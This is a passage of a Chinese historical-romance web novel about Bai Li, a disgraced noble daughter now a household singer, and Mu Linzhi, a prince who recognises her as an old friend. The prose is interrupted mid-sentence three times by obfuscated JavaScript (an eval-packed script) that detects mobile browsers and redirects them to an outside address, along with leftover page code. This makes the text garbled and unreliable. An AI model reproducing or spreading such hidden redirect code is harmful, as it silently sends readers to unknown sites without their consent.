白荔一惊,忙起身,垂头伏地。 “奴婢知错,求公子恕罪。” 她心中闪过第一个念头,便是今日这曲水流觞宴来者甚多,自己定是冲撞了哪个贵人,可是她怎么也没有想到会有人来这后院。 而他既然能来这后院,想必定是个胆大包天的。不能轻易招惹。 她心中打鼓一般,不敢抬头。 一双金丝黑靴款款而来,走至身边,“起身吧,不必跪。” “我有这么吓人吗?” 来人的声音很好听,如金声玉振,笑吟吟的,听上去像是脾气很好的样子。 可是白荔不敢真的起身,只微微抬起半张脸,翘起眼角,显露出一副愚蠢又故作妩媚的样子来,如此这般,十分的美貌也生生折去了七分。 以前她绝对做不出这种烟视媚行的样子来,但是落魄几载后,她明白了该谄媚便谄媚的好处,这幅模样,比一身想要让人打碎的冷清傲骨对她更有用。 牧临之见她不肯起身,叹了口气,只好由她去了,“你说你错了,那你可说说,你犯了何错?” “……奴婢冲撞了公子,罪该万死。” “抬起头来。” “奴婢得了风寒,并未梳妆,容貌粗陋,不敢污了贵人双眼。” “是吗?”牧临之悠悠一笑。 “好吧。” 本来还想周旋一番的白荔闻言一怔。 这个人这么好说话的? 她不敢抬头看他的脸,只在余光中注意到男人一身白衣,看上去身形很颀长英挺,声音始终笑吟吟的,听上去并未生气。 “你叫什么名字?” 白荔不敢告知自己的真实名姓,想了想,胡乱编了一个,回道,“翠红。” “……” “哪里的人?” “襄阳人。” “是吗?”牧临之悠悠道,“可我听你的口音,倒是像个长安人。” 白荔心中一惊。 这些年,她早就矫了那一口长安口音,至今为止无人再听得出来,他是怎么知道的? 她僵了一僵,平静道,“奴婢不曾去过长安,想是公子听茬了。” “是这样吗?也有可能。” 牧临之点了点头,不予追究,负手而立,又随口问道,“看到一只猫没?雪白色的。” 白荔一愣,这人是来找猫的? 原来如此,不然怎么会有人乐意踏足这种下人地界。 “奴婢未曾看见。”她低着头,如实道。 “好吧,那我再去别处找找。”不然以这姑娘的心性,怕是要一直跪下去。 “你刚才唱的曲子很好听,只不过声调凄婉,听上去有些哀伤之意。” “梦回莺转,往事如烟。”他沉吟,缓缓道,“往事虽伤怀,但既已化为烟尘,不妨努力向前看。姑娘年轻貌美,想必上天垂怜,定不会令姑娘朱颜垂暮。” 他说罢,笑了笑,缓缓离去了。 白荔虚惊一场,等反应过来的时候,身边已经没有了脚步声。 ——这人就这么走了? 她一时有些庆幸,大大松了口气,想起他刚才的话,又心中微微一暖。 她弯了弯唇,不敢多待,连忙捡起扇子,速速离去了。 . 众位公子赏玩了一番古玩墨宝,又吟诗作赋了一会,此刻又百无聊赖玩起了投壶。 叶桂霖纳闷道,“子衿呢?怎么半天不见了人影?” “那只尺玉不见了,他自去找了。”李皋举杯饮酒,啧了两声,“这西域进贡的葡萄酒果真甘美,好酒好酒,要是子衿在这里,哪里还有咱们喝的份?” “李兄此言有理,咱们快快喝完,不给他留。” 说刚说完,耳边一道清风吹过,一锦衣华服的公子坐到了罗汉床上。 拿起旁边的箭矢,随手一丢,正中远远的壶口。 “好准头!”有人抚掌称赞。 李皋扭头看向牧临之,笑道,“刚说完你,你就来了,可见真的不能背后说人闲话的。” “这葡萄酒虽味道甘甜,却并不浓烈,根本算不得酒,今日小爷不跟你们抢。”牧临之说完,拿起随身带的酒囊,仰头自顾自喝起来,自有一股潇洒气度。 “那只尺玉找到了?”这尺玉是李皋前几个月刚得到的,生的通体雪白,灵巧可爱,煞是喜人。 牧临之含糊地唔了一声,懒懒半坐在罗汉床上,忽然想到了那道独坐廊下的倩影。 猫没找到,倒是让他发现了别的。 那道独坐于廊下,安安静静唱着婉转曲调的姣美侧影,他的贸然出现,破坏了这幅美好画卷。 他想起她被他撞见时那副惊慌失措、又小心谨慎的模样,倒是跟那只尺玉有几分神似。 未看清全貌,但已是十分的好颜色。 “子衿,你笑什么?”李皋问道。 默默不语的魏成择一语道破玄机,“看来,子衿兄不像是去找猫的,倒像是去猎艳的。” “就这一路上,还能遇到美人?不亏是子衿,去到哪里都是风花雪月。” “不过,今天的艳,好像都在这宴席之上了,这府里难道还另外藏着别的美人?李兄,你吝啬了。” “天地良心!我怎会如此,倒是子衿,那青衣琵琶女刚入你的眼,转眼间又相了一个,你这未免也太快了。” “那青衣女相貌不过平平,子衿眼高于顶,怎会与之这般亲近,还夸人头上戴的簪子?” “这便是子衿的过人之处了,随口一夸,就能哄得妙龄女郎心花怒放,你没瞧那青衣女,脸红的话都不会说了,人都走了老远,还恍恍惚惚的,你要是有这本事,还愁全江南的贵女不嫁你?” “咳,说子衿就说子衿,怎么扯到我身上了。” 牧临之摇摇头,懒得与他们分辨。 他不过是听那青衣女弹的曲子耳熟,才随口问了她几句。 他喜欢弹琵琶,也喜欢听琵琶,喜欢那铮铮如裂锦般的声音,如同玉珠落盘。 曾经,他记得有一人,跟他一样。 李皋道,“刚才的一曲《阳春》,倒是让我想起了多年前长安的一场春日宴,温家幼女一曲《阳春》名动长安,至今令我难以忘怀。只是可惜啊,温家阖家蒙难,那温家女也香消玉殒,真真红颜薄命。” 说完,他又哎了一声,“说到那温家女,我记得子衿,似乎与她有些渊源。” 牧临之没搭话,不置可否。 那时候,郡王府与温家两家交好,他和她经常一起研习音律,互通心得。 她最喜欢的琵琶曲子,便是这一首《阳春》。 他们曾一起合奏,她用琵琶弹《阳春》,他则用琴奏《白雪》。 可惜,青衣女技艺不熟,失了此曲的风韵,还弹错了好几音。 若是她来的话,定会将此曲演绎的炉火纯青,余音绕梁。 至于那碧玉簪子,他真心觉得漂亮。 而这种材质、这种花样的首饰,曾经的她也喜欢。 幼年他们相处甚欢,十七岁时,他外出游历,多年后再回到长安,已物是人非。 她的家族没了,她也不知沦落到了哪里去。 茫茫天涯,他苦寻不得。 她那样的富贵娇花,怎受得了外面风霜刀剑的苦楚。 “喵”的一声,一只毛发雪白的猫儿跳到他的膝上,乌溜溜的眼睛讨好地看着他,似在排解他此刻心中的苦闷。 牧临之莞尔一笑,眸中冷戾渐渐消融,伸手抚弄它雪白的脊背。 李皋看在眼里,“罢罢罢,既然子衿这么喜欢这小畜生,那我就送了你,可好?” “哦?你舍得割爱?” “这有什么舍不舍得的,不过嘛,你若是能给我留副墨宝,那我这心也便不疼了。” “这有何难?”牧临之一笑,朗声道,“这猫与我颇有眼缘,我便笑纳了,来人!取墨来。” 众人听牧临之要挥毫,纷纷来了精神,狗腿似的凑了过去,“这里正好有现成的清泉,我亲自给子衿兄研磨。” “我们今日,总算能一睹子衿笔走龙蛇的风采了。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457504|169584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “有酒,有美人,有两三挚友相陪,人生也算不枉了,只是可惜了飞蘅,今日咱们难得团聚,却少了他。”李皋感慨道。 “飞蘅?李兄说的可是谢家那位世子?与子衿兄并称”长安双壁”的那位?” 除了李皋和牧临之外,其余几人皆是世代居于江南,甚少出入长安,但是他们对长安那几位人物的大名却是如雷贯耳。 只不过,太子殒命后,群星黯淡,那些名扬天下的人物,随着乱世一一凋零,有些还活在世上,有些却已溘然长逝,只存于人们对他交口传颂的无限追忆之中。 那温家幼女,也是其中之一。 昔日风华绝代的长安,已经再不复从前。 念及此处,众人皆沉默,气氛一时有些凝重。 “正是。他如今是朝廷的重臣,与我们这些富贵闲人自是不同,”还是李皋打破了氛围,缓缓道,“能够平乱征西,施展抱负,我倒是羡慕他。” “谁说不是呢?”有人重重叹气,“不知道的,都羡慕咱们这些豪门大族,看上去一辈子有享不尽的荣华富贵,殊不知这层身份亦是枷锁,做什么都施展不得,若是一朝蒙祸,什么也不剩下了,依我看,咱们倒不如街上那些走鸡斗狗的赌徒来的痛快。” “春江花朝秋月夜,往往取酒还独倾。好了好了,不说这些了,来来!喝酒喝酒!” . 热闹了一天的生辰宴结束了,丹樱累得浑身酸痛,却仍是很有精神,兴致勃勃地趴在床上,跟白荔说今日宴席怎样怎样,如何的风雅奢华。 白荔给她按着肩,听得心不在焉。 她今日冲撞的贵人,一看起来便非富即贵。 不过看他漫不经心的样子,应该是没有把自己这个小人物放在心上吧? 丹樱还在喋喋不休,有意想说今日都是来了哪些王孙公子,看了一眼白荔,心中一动,不知道该不该开口。 丹樱想的很简单,若是能够得他们这些贵人的青眼,做一个丫鬟或者妾室,她这些年的辛苦也不算白费。 想到这里,她看着眼前如花似玉的美人。 若是她说,她想和她一起留下来,留在这里,她会愿意吗? “阿荔,你有没有想过,你的以后?”她试探问道。 听到这句话,白荔停下动作,微怔。 她已经十七了。 抄家的时候,她才十三岁。 十三岁,还未及笄,是一个不上不下的年纪,但有些人家已经提前开始张罗,为女儿家议亲了。 温家在那个时候被抄家,白荔尚未议亲;而如今,她入了贱籍,成了优伶,如何保全自身成了当下最严重的问题,婚嫁的事情,更是不必考虑了。 她们这些优伶的下场,要么是跟着班子再唱上几年,得了造化的,被纳入府,成为端茶沏水的丫鬟或妾室;不过她也听说,有仁慈的大户人家为了积福,会遣散班子,若是得了造化,说不定还能消了奴籍,发配放良,成为平头正脸的百姓。 这两条路,白荔当然选后者。 郡公府奢华安稳,听说如今的家主性子十分温厚,白荔绞尽脑汁回想从前在父亲嘴里听到的关于清河郡公的评论,也不过得到了端庄宽和四个字。 这个地方,应该是她能够来的,最好的地方了。 最近她总是做梦,梦到抄家那日,父亲的离去,母亲的死去,漫天的火光,还有那一双冷郁的眼。 丹樱说的那个长安来的贵客,也令她隐隐不安。 她总感觉,这次的姑苏之行,没有想象中的那么平静。 白荔深深叹了一口气,为自己未知的前程担忧起来。 鬼使神差之间,她又想起了白天撞见的那个年轻男人。 那种轻快爽朗,说什么仿佛都带着笑的感觉,让她想到了以前的一个故人。 他是这天下数一数二的尊贵人物,她听说太后掌权之后,对他们一家也甚为优待,依然享有郡王尊荣。 她与他之间,如今一个在天,一个在地。 想来,应该是永远不可能再见面了吧。 5. 第 5 章 原清河郡公李植帮成祖帝打下江山,赐爵清河郡公,后代世袭,又在此爵位之上加封武波将军,显赫一时。到了李成这一辈,虽然不负以往煊赫,但遗威仍在。 先帝大薨,太后柳湘茹把持朝政,大肆屠杀异党,李氏一族因李植晚年急流勇退,早已退出朝野,定居姑苏,远在长安之外,免去了一劫。 长安在太后的统治下布满一片阴云,还不知道是什么光景。 然而在此刻的姑苏,却是风景秀美,鸟语花香,难得的一片世外净土。 热闹的生辰宴很快过去,几日过后,又到了每月领月钱的时候了。 一早。丹樱领着白荔,兴冲冲地去往班主的房院。 班主与墨末同住,不与她们这些姑娘们挨在一处,每月都是从管家那里直接领了总的月钱,再分发给下面的姐妹们。 几人走过去,便见三人坐在廊下,班主坐镇正中间,墨末伏在桌上记账,绿玉则是拿着秤砣,称发银两,分发给来人。 看到两人过来,绿玉怔住,冷哼了一声,垂着眼皮不吱声。 墨末放下笔,笑着起身,“丹樱妹妹和白荔妹妹来了,真是贵客登宝地。” 从前领月钱这种事,都是跛脚李来做的,如今他病了,这还是墨末第一次看到一对姐妹花过来领月钱。 他看了丹樱一眼,对她一笑。 丹樱也笑着看了墨末一眼,朝管家行了一礼,“请您的安。” 管家笑着看丹樱,对她生辰宴那日的表现十分满意,点了点头,“好了,去墨末那里登记吧。” 墨末登记好,绿玉偏过头看了一眼,皱了皱眉,但是也没说什么,给两人称起银子。 “等等。”有眼尖的却叫了起来,“这……似乎不太妥吧?” 蓝芷捂嘴轻笑,欲言又止道,“丹樱姐姐拿的月钱跟我们姐妹一样,我自是没什么可说的,只是这白荔……” 玉绡顺着蓝芷的话,看出端倪,她是个火爆性子,直截了当道,“白荔三天两头小病不断,十回的演出,她能有六回不在,她凭什么拿的跟我们一样多?” 听到关于钱的事,几人闻风而动,七嘴八舌。 “不知道的,还以为她是养在咱们秋音堂的小姐呢,天天病恹恹的,闭门不出,还白拿银子,这种好事怎么轮不上咱们几个头上啊?” “咱们?”有人冷笑一声,“咱们几个能跟人家比吗?人家关系硬着呢,就算不是咱们秋音堂的人,照样混的风生水起,上头有人罩着呢。” 说完,意有所指地看了墨末一眼。 墨末低头记账,充耳不闻。 “还有那跛脚李,这些日子看病,怕是也喝去了不少银钱吧?这些钱啊,照样是要从咱们的手里扣的,我看这襄阳来的啊,手段就是厉害。” 白荔听着几人的冷言冷语,垂头不语,只盼着早点拿了银子,早点走人。 丹樱却是忍不下的,将白荔护在身后,不顾她的劝阻,上前一步,柳眉倒竖,冷笑一声,颇有些咄咄逼人的气场,“哟,我道是谁呢,原来是玉绡姐姐啊。生辰宴上,您唱错了好几个字,嗓子都劈了,要不是当时人多眼杂,妹妹我可真是替您担心呢,我们刚来那会,玉绡姐姐天天趾高气昂的,我还以为姐姐有多大的本事呢,原来也不过如此啊。” “你说什么?” “我说,没那个金刚钻,就别揽那个瓷器活,玉绡姐姐,您说是吧?姐姐整日吊着嗓子,不肯懈怠一日,想来是不愿也不想被别的妹妹顶了位置,阿荔妹妹只是病了,总有好起来的那一天,可是姐姐这般水平,就怕是到时候真的生了病,也得硬生生挨着,不敢耽误一日吧?” “你!” 绿玉在一旁听着,莫名刺心,脸色也有些不好看。 “好了!” 最终还是班主怒喝一声,止住争吵,“我们本就是居人篱下,如今你们这样吵吵囔囔的,像什么样子!” 几人齐齐噤声,眼中皆有不服气。 “我可告诉你们,如今郡公府可是来了位贵客安住,阖府上下都打起了十二分精神,丝毫马虎不得,你们要是在这个时候让他们挑了错处,给秋音堂丢了人,那就是自砸招牌,自己不想给自己路子走。” “生辰宴虽是过了,可是接下来这样的游会还多着呢。这位新来的贵客可是个雅人,平日最好吟风弄月,日后少不了你们的卖弄,你们要是在这个节骨眼给我出了岔子,那秋音堂也留你们不得!都给我听清楚了吗?” 众人屏气敛声,“是。” 回去路上,白荔搀着丹樱的手,心中感激她的仗义执言,却又忍不住心疼,轻声责备道,“姐姐,你何必与她们动气,她们说的原也没错,是我德不配位。” “别这么说。你这些日子勤于苦练,一直没有偷过懒,若不是突然生了病,轮得到她们说嘴。” “不过,你如今病也好了,那就快快振作起来,后面咱们姐妹二人齐心协力,轮番照顾着阿公,日子总会越过越好的。” 白荔心中一暖,笑道,“是。” 她心中也明白,这一次装病也到了时候,若是再装下去,滋生的不满之声会越来越多,对阿公丹樱也不利。 如今身处郡公府,寄身秋音堂,一切都要看别人的眼色过活,很多事情都不由得她了。 . 第二日,白荔起了个大早,照例先去跛脚李那里看了一趟,便悄悄出了院子。 班主不让她们随便出院子,但是北苑的小厨房却是不禁的。小厨房离她们的院子就隔着一片假山湖泊,周围也没有别的院子,她们闲暇时分可以自由进入小厨房,做些点心吃食。 白荔深知昨日之事,招了各位姐妹的眼,今日便想起个大早,给各位姐妹做些点心,以表心意。 世家贵女在闺中,熟习四艺不必多说,焚香、插花、点茶、煮酒、女红,都要精于此道。 除了这几样之外,锦上添花的一项,便是烹饪。 贵女们出嫁前是大家小姐,出嫁后是主母娘子,身边都有丫鬟仆从跟从,庖厨之事本不需出什么力,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457505|169584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为了添闺中雅趣,有些贵女也会愿意洗手作羹汤,学习几道菜式,不求全面,精于几样便足矣。 白荔在温府的时候,跟着母亲学过几手制作糕点的本领。 母亲心灵手巧,做了一手的好点心,白荔也熟能生巧,学会了几样。 当初母亲每次尝她做的糖蒸酥酪时,都是赞不绝口,大为褒奖。想必这次经年以后再拿出来,应该能够博得几位姐妹的一点欢心吧。 白荔这样想着,趁着东方渐白的天光,快步走出院子,走入林荫小道。 清晨浓雾扑朔,还泛着微凉的雾气,远远的有小厮丫鬟在打扫杂草,在雾气中成为一个个静谧的黑点。 白荔一路穿过湖岸,裙角衣袋都被微微沾上了潮气。 湖面平静如镜,湖心亭隐隐矗立其中,所到之处,一路上安安静静的,一点声音也没有。 白荔默默朝前走着,怕被府中人看到,徒生枝节,脚步都小心翼翼的,尽量选着僻静小路走。 快要绕过湖边时,突然,她一停。 不远不近的雾气里,湖岸边上,躺着一个人。 那人穿着一袭雪白禅衣,翩然若仙,却是躺在湖边,半边身子浸入湖水之中,闭着眼睛,一动不动,宛若死人。身边还胡乱丢着一把剑。 白荔停下观望,惊疑不定。 大清早的,这个人怎么会躺在这里? 难道……他死了? 这是个死人? 她生于深宅大院,历来清楚这种大户府邸,背地里都有些见不得人的人命官司。 一想到这个可能,白荔脸色一白,浑身僵住,一动不敢动。 她屏住呼吸,吓得花容失色,本能地不想去掺和这种事,赶紧就想要远远躲开。 她脚步浊乱,疾走几步之后,又突然停住,忍不住转过身去。 等等。 她好像看到,地上的人动了一动。 ……人没死? 那就是……还有的救? 白荔迟疑地停住,内心剧烈动摇起来。 理智告诉她现在走为上计才是正策,就当什么也没看见。 可是一条鲜活的人命就活生生在她的眼前,她真的做不到视若无睹。 挣扎半响,白荔银牙一咬,跺了跺脚,折返回去,走到那人身边。 地上的人闭着眼睛,乌发凌乱,身长腿长,整个人好似陷入了地里一般,白荔轻手轻脚地凑过去,蹲下身,伸手试探地去探他的鼻息。 还有气。 她立刻松了一口气。 可就在这时,她吸了吸鼻子,闻到了一股浓烈的、令她立时警铃大作的强烈味道。 这是,酒的气息! 这人根本没事! 白荔一慌,立刻松开手,就要立刻起身,逃离这个地方。 却不料手腕被人一把攥住,动作极快,吓得白荔花容失色,差点就要叫出声来。 地上的男人慢慢睁开了眼,笑吟吟地看着她。 “抓到你了。” 6. 第 6 章 牧临之撑起上半身,掐起她的下颌,一双风情万种的醉眼打量着她,语气中带着熏熏然的笑意。 “真是个美人。” 他一身的酒气,白荔吓得不轻,一时间忘记了反应。 见她表情愣愣的,一双乌溜溜的大眼睛呆呆地盯着自己看,牧临之皱了皱眉,又凑近一些。 “……嗯?” 看他凑近,白荔迅速回过神,侧过去半张脸,想躲又不敢躲,颤着嗓子道,“公子请自重,你这样的话……我可要喊人了。” “唔,别喊,我好不容易躲来这里讨清净。”牧临之耸了耸肩,作势就要松开她,可看到她张开朱唇,摆明了一副就要高声喊人的样子,“你若敢喊的话,我就……” 他想了想,顺势低下头去,“我就只好这样了。” “别!”白荔吓得魂飞魄散,“好……我不喊,公子既然要寻清净,那就请放开我,我这就走的远远的,绝不扰了公子清净。”怕他不信似的,慌忙捂住了自己的嘴。 牧临之松开了她,哈哈大笑。 白荔这才明白过来这人分明是在逗她,慢慢松开手,又气又羞,玉面绯红。 男人又随意躺到了地上,与她拉开距离,支起上半身,懒懒地打量着她。 那日曲水流觞,惊鸿一见,没想到,这么快,他就又遇到了她。 实在是有些缘分。 “我现在倒是觉得,花前雾下,烟波浩渺,有一美妙佳人陪着,倒也不错。”他盯着白荔,见她起身就要走,不紧不慢地说道。 果然,话刚说完,美人便僵了一僵,停住动作。 牧临之勾了勾唇,觉得真是有趣极了,“所以,你到底叫什么名字?” 曦光穿透云层,湖边波光粼粼,投下一湖碎金。雾气冲散,曦光在此刻映亮了她花容失色的一张脸,也让牧临之宿醉的目光逐渐清明。 终于看清了她的脸之后,牧临之神色一凝,“嗯?” “你是……” 周围传来呼喊的声音,声音铺天盖地,朝这里越来越近。 趁着他分神的功夫,白荔迅速站起身,逃也似地跑掉了。 “公子!终于找到你了!公子!” 几位小厮终于找到了失踪了一夜的牧临之,看到他静静坐在湖边,一副魂不守舍的样子,随身佩剑被远远丢在了一边,捡起剑抱着跑到他面前,气喘吁吁、痛心疾首地控诉道,“公子,您怎么一个人跑了这么远,可让小的们好找!” “公子!您的身上怎么湿淋淋的,这是怎么一回事啊!您掉水里去了?” “……” “公子,您说您喝酒便喝酒吧,还非得舞剑,舞剑便舞剑吧,还夜不归宿,一个人在郡公府里乱走,竟还醉倒在了这湖边,就这么睡过去了!您要是有什么三长两短,郡公这里先不提,回去之后,王妃不得把小的几个活活剥了啊!” “好了,好了,让你们担心了,我现在人不是好好的吗?”牧临之扶着长林顺势起身,安抚地拍了拍他的肩,随意拂了拂衣袍,缓步离开,“既然找到了,那就回吧。” 长林紧紧跟在他身后,仍喋喋不休,似是攒了满腹的委屈,小声抱怨道,“公子,恕小的斗胆,您也是堂堂的郡王嫡子,尊贵的小郡王,这般做派,实在是太不斯文了些……” “你说什么?我听得见。” “公子,小的是说,您这样不顾虑自己,好歹也疼疼我们这些小的们吧,小的几个天天上蹿下跳地到处找您,我们好歹也是郡王府里出来的人,您让我们的脸面在郡公府下人的眼里往哪搁?” “好,好,是我的不是。”牧临之随手解下蹀躞上的一块玉佩,递给长林,笑吟吟道,“这个就算作我的赔礼,可好?” 长林立刻不抱怨了,动作极快地接下玉佩,放进怀里,又狗腿似的凑到他身边,锤着他的肩,谄媚道,“公子,您这一晚上都是在外面睡的,冷不冷?有没有受风寒?小的回去就给您熬上一碗姜汤,保管您什么事都没有。” “安静。” “哦……” 一行人逐渐远去。走到前院时,清河郡公慌里慌张地推开一众小厮,跑到牧临之身边,将貂绒大氅展开,亲自披到他的身上。 “小郡王,你一夜未归,可把我们都急坏了,快快,屋里备好了醒酒汤,也烧好了热热的炭火,快随我进来暖和暖和。” 下人们见小郡王完好无损地回来了,全部都松了一口气。 小郡王昨夜一夜未归,郡公好险差点把整个姑苏都翻过来。 如今终于是找着了,谁能想到还是在自家的府邸里,真是让人哭也不是,笑也不是。素闻这位小郡王行事不拘一格,放浪形骸,这下总算是见识了。 不过玩笑归玩笑,好在人是找回来了。要不然,他们这些人可就苦了。 小郡王安住后,郡公千叮咛万嘱咐,一定要照顾好这位贵客,不能出一点岔子。 他们都知道,这位小郡王身份尊贵,和世子李皋一样,是人中龙凤,但是他显然更加尊贵,因为他姓牧。 先皇,和当今的小天子,也姓牧。 这样的天潢贵胄,要是在郡公府有了什么闪失,真真是吃罪不得。 他们谨遵郡公指令,二十四个时辰一错不错地盯着,就连如厕也专门派人跟着,没想到严防死守到了这个地步,竟还是被人抓出空子,溜了出去,差点出了大事。 看来还是力度不够大啊。 众人自责,暗暗下定决心,以后一定更要寸步不离地跟在这位贵客身边,让他感到宾至如归。 . 白荔慌慌张张跑回到自己的房间,一路上仍是惊魂未定。 等关上门,她才捂住胸口,坐在床上,长长地松了一口气。 好险,好险。 若是刚才那一幕被人看到,她浑身是嘴也说不清,说不得还要被赶出府去。 还好她反应的快,没有真的被人发现。 那人……也太轻佻了些。 慌乱之中,她没有特别看清那人的长相,只是觉得,那道声音有些耳熟。 那声音,她一时记不清在哪里听过。 此事过了,便是过了,但若是那人记住了她,日后再来挑衅,她该怎么办呢? “阿荔,你怎么了?”丹樱推门进来,奇怪地看着她。 她好像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457506|169584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也刚从外面回来,发丝有些乱,小脸红扑扑的。 白荔现在正是心虚的时候,没有注意到这么多,压下心头纷乱,随意扯谎道,“我刚才看见了一只耗子。” “耗子?在哪呢?”丹樱环顾一圈。 “……跑了。” “行吧。”丹樱立刻松了口气,安慰道,“别害怕,只是一只耗子而已,它比你更害怕,下次再看到,你直接吓走它就是。” 白荔胡乱点了点头。 她还是决定不跟丹樱提起这事,不想此事成为她的负担。 但愿,就当做这件事从未发生过吧。 . “特意叫我过来一趟,说吧,什么事?”李皋刚从外面回来,一屁股坐到紫檀雕云圈椅上,毫不避讳地拿起桌上的冷茶,仰头咕噜咕噜就灌了起来。 牧临之斜倚在罗汉床上,膝上胡乱散着一张长长的画轴,“帮我找个宅子。” “什么?你要搬出去住?是我郡公府招待的不好吗?” 何止是不好,简直是太好了。 “我喘口气他们都恨不得站在旁边盯着,还让不让人活了?” “……有这么夸张吗?他们这还不是担心你。” “我是三岁小孩吗?能出什么事?”牧临之哭笑不得。 “好,好,我这就跟父亲说去,让他把人撤了走,这总行了吧?” 牧临之斜乜了李皋一眼,这郡公府他是非搬不可的,不过不急于一时,当下最要紧的,是另外一件事。 过了会儿,李皋拍案,惊奇道,“子衿,你说什么?” “你要找我府上的一个婢女?” 牧临之懒洋洋地倚在罗汉床上,没有应声,悠悠地回想着刚才的一切。 虽然她一直闪躲,不让他看清自己,但他很确定,那就是她。 她现在肯定换了身份名姓,一时半会找到她,恐不容易。 当年他不信她与温家主母在火中一起丧生,使了人暗暗追寻她的下落,这些年也锲而不舍寻她,结果终是一无所获。 原来她真的没死。 他实在想不到,她是怎么从长安来到姑苏,又是怎么到了这郡公府? “我府上一共百来个婢女,找一个婢女说简单,也不简单,你既连她的名字都不清楚,那么还是得费些功夫的。”李皋如实道,“这些姑且先不提,你且先告诉我,你找这样一个婢女,究竟是为什么?” “你不是一直想要卢正阳的《浮光山水图》吗?我送你。”牧临之悠悠道,“如何?帮不帮我?” “《浮光山水图》?”李皋一下子来了精神,“我之前向你讨了这么多次,你都不给,如今怎么肯了?” “不会是……为了那个小小的婢女吧?” “这我倒是更好奇了,这女子到底是何方神圣,竟能让你如此上心?” 牧临之回想着那一张艳若桃李的脸,眉似远山,美目楚楚,鬓云微润贴海棠,羽睫慌乱颤动时,似一只将栖未栖的受惊蝴蝶。 他双目炯炯,一双优美的丹凤眼闪烁着潋滟光泽,唇角泛起微笑。 “她是,”他顿了顿,慢慢道,“一位故人。” 7. 第 7 章 上次有了不速之客不小的惊吓,白荔不敢轻举妄动,老老实实等了好几天,没有得到任何风声,这才敢带着丹樱重新去了小厨房。 “哎呀,阿荔,她们心里有意见,就让她们有意见好了,何必讨好她们呢?”丹樱倚在门前,悠闲地吃着刚出炉的糕点,看着小厨房里忙上忙下的白荔,不理解道,“你这样费心费力,恐怕她们也不会领你的情。” “我们都在一个院子,抬头不见低头见的,还是不要搞得这么僵,再说,这原本也是我的不是。”白荔手里的活不停,柔声道。 丹樱眼疾手快,替她楷去香腮上的一点面粉,“你呀,就是太小心了。” 不过为人做事,小心点也好。当初若不是有白荔在,她们三人也不会阴差阳错躲过去了很多麻烦。 曾经在襄阳的时候,她们三人居无定所,相依为命,有时寄住在别人府上,白荔总是最留心的那一个。 她很熟悉后宅的门道,知道哪些人面上冷淡,实则没有坏心,有些人面上谄媚,实则内心奸恶。 多亏了有她,丹樱才没有犯过识人不清的错误,有的时候适时贿赂一下,还能交到一两个心热的朋友,日子好过不少; 外出打尖住店的时候,她会帮她易容成男子,两人扮作一对寻常夫妇的样子,她还会随身备一双男人的鞋子,放在门口,以防夜里有贼人摸进来,好几次要不是白荔警觉,她们险些就着了道。 “谁在那里?”丹樱突然变了脸,朝一边的角落喊道,“出来!” 角落窸窸窣窣的动静停了。 “……不会是耗子吧?” 白荔前些天刚跟她说了耗子的事,这里是小厨房,更是耗子的重灾区,丹樱强忍着惧,慢慢走向角落处,准备抓个现行。 啪的一声,她将布帘一把掀开,便看见一个小孩正窝在底下,啃吃着一块烙饼。 四目相对,他睁大了圆圆的一双大眼睛,无辜又恐惧地看着她。 “……” “你在这里偷吃东西?”丹樱问道。 小孩一下子慌了神,立刻跪下身,噗嗤噗嗤给她磕头,“我没有偷吃东西,我只是太饿了,求求你们,不要告诉别人!” 府里的下人,偷吃一点东西也没什么大不了的,毕竟郡公府还没到养不起下人的地步,可是这个小孩却是一副很恐惧的样子,像是真的害怕她们会将他交出去。 他瘦瘦的,脏脏的,看起来不过七八岁的样子。 丹樱拧起眉头,有些不理解道,“我只是问了一句,至于这么害怕吗?”好像她是什么吃人的老虎一样。 白荔循声而来,看到这个小孩,愣了一愣,随即柔声道,“你别怕,我们不会告诉别人的。” 小孩听到白荔的话,停止磕头的动作,抬起头来,脏兮兮的泪眼瞧着她。 白荔对他弯了弯唇,朝他递过去一块点心。 “吃吧。” 小孩愣愣地盯着白荔掌心里的糕点,吞咽了一下口水,犹豫了一番,他小心翼翼伸出手,接了过来,随即目光一变,狼吞虎咽地吃了起来。 白荔看着他,“好吃吗?” “好吃!”小孩子急急点头,嘴上咀嚼不停,含糊不清道,“真好吃!” “别急,还有很多,你慢慢吃。” “小孩,你叫什么啊?怎么搞的这么脏?”丹樱问道。来郡公府这么久了,她还是第一次见到这么脏兮兮的下人,还是个小孩。 “我叫……阿豮。” 丹樱疑惑。豮是什么意思? 白荔却是皱了皱眉。 接下来,她们便知道了阿豮的身世,原来他是郡公府上的家生子,不过好多年他的父母便去世了,他成了没人管的野孩子。 看他可怜兮兮的样子,还有那随意至极的名字,看来他在郡公府里过得很艰难。 